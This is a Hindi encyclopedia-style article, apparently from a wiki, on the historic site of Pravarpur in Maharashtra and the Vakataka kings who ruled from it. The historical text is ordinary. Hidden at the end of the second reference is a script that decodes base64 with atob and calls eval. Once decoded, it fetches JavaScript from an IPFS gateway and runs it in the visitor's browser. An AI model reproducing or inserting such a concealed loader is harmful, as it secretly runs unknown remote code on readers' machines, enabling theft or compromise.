प्रवरपुर, महाराष्ट्र

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Disamb2.jpg प्रवरपुर एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- प्रवरपुर (बहुविकल्पी)

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प्रवरपुर महल, जिसे बौद्ध काल में विहार का रुप दे दिया गया था

प्रवरपुर महाराष्ट्र का एक ऐतिहासिक स्थान है जो वाकाटक-नरेशों (5वीं शती ई.) की राजधानी थी। इसे प्रवरसेन ने बसाया था। इसका दूसरा नाम पुरिका भी था। संभवत: वर्तमान पौनार ही प्राचीन प्रवरपुर है।[1]

इतिहास

वाकाटक काल (ईसवीं 275 से 550) इस साम्राज्य की स्थापना विंध्यशक्ति-1 नामक ब्राह्मण ने की थी। विंध्यशक्ति के पुत्र प्रवरसेन-1 उर्फ़ प्रोविरा ने 275 -335 ईसवीं सन तक इस क्षेत्र में राज्य किया। पुराणों के अनुसार उसकी राजधानी "पुरिका" थी। इस काल के दो राज्यों यथा वाकाटक एवं गुप्त के मध्य युद्ध एवं तनाव की स्थिति बनी रहती थी। जिसे पांचवी शताब्दी में प्रभावती एवं प्रवरसेन के पुत्र रुद्रसेन के विवाह से कम किया गया। प्रवरसेन ने वैदिक अनुष्ठान भी वृहद स्तर पर किए। जिसमें 4 अश्वमेध यज्ञ शामिल हैं। साथ ही हिडिम्बा टेकरी के पूर्वी भाग में वाजपेय यज्ञ के प्रमाण मिलते हैं। प्रवरसेन की मृत्यु के बाद राज्य को उसके 4 पुत्रों में विभक्त कर दिया गया। प्रवरसेन के पुत्र गौतमपुत्र की मृत्यु के बाद उसके पुत्र रुद्रसेन-1 ने नंदीवर्धन (नगर धन, नंदपुरी) का राज्य संभाल लिया। रुद्रसेन के बाद उसके पुत्र पृथ्वीसेन ने 360-395 ईसवीं तक शासन किया। पृथ्वीसेन के कार्यकाल में वाकटकों का वैवाहिक संबंध विक्रमादित्य के परिवार से हुआ। चंद्रगुप्त द्वितीय अर्थात् विक्रमादित्य की पुत्री प्रभावती गुप्त का विवाह पृथ्वीसेन के पुत्र रुद्रसेन के साथ सम्पन्न हुआ। रुद्रसेन की असमय मृत्यु के बाद प्रभावती गुप्त ने अपने ज्येष्ठ पुत्र द्वारकसेन के माध्यम से 14 वर्षों तक राज्य किया। परन्तु द्वारकसेन भी असमय काल के गाल में समा गए। इसके बाद प्रभावती गुप्त के द्वितीय पुत्र दामोदर सेन सिंहासनारुढ हुए। दामोदर सेन ने अपने प्रभावशाली पूर्वज प्रवरसेन का नाम धारण किया तथा लम्बे समय तक शासन किया। 419-490 तक प्रवरसेन द्वितीय अपने ज्ञान एवं स्वतंत्रता के लिए काफ़ी प्रसिद्ध हुआ। प्रवरसेन के शासन काल की ताम्र पट्टिकाएं उत्खनन में प्राप्त हुई हैं। प्रवरसेन के शासन काल नंदीवर्धन में एक मंदिर था, जिसका नाम प्रवरेश्वर था। यह एक शैव मंदिर था यहां शिव प्रतिमा के प्रमाण पाप्त हुए हैं।
प्रवरसेन द्वितीय के पश्चात् उसके पुत्र नरेन्द्र सेन ने शासन किया। पृथ्वीसेन द्वितीय ने अपने पिता नरेन्द्रसेन की मृत्यु के बाद शासन संभाला और उसने वैष्णव संप्रदाय का प्रचार किया। लगभग 493 ई सन में बस्तर के नल राजा भवदत्त वर्मन ने पृथ्वीसेन द्वितीय पर आक्रमण किया। तो भवदत्त वर्मन के साले माधव वर्मन द्वितीय ने पृथ्वीसेन द्वितीय की मदद की, फ़लस्वरूप नल राजा को हार का मुंह देखना पड़ा। परन्तु इस हार के पूर्व नल राजा ने प्रवरपुर महल को लूटा एवं जला डाला। माधववर्मन द्वितीय की मदद के बाद प्रवरसेन द्वितीय की संतान प्रवरपुर पर राज नहीं कर सकी। क्योंकि माधववर्मन ने राज्य को अपने आधिपत्य में ले लिया। इसके पश्चात् ही इस राज्य में बौद्ध धर्म का प्रादुर्भाव हुआ।[2]



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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली से पृष्ठ संख्या-587 | विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
  2. शर्मा, ललित। प्रवरसेन की नगरी प्रवरपुर की कथा (हिंदी) (एच.टी.एम.एल.) ललित डॉट कॉम। अभिगमन तिथि: 17 जून, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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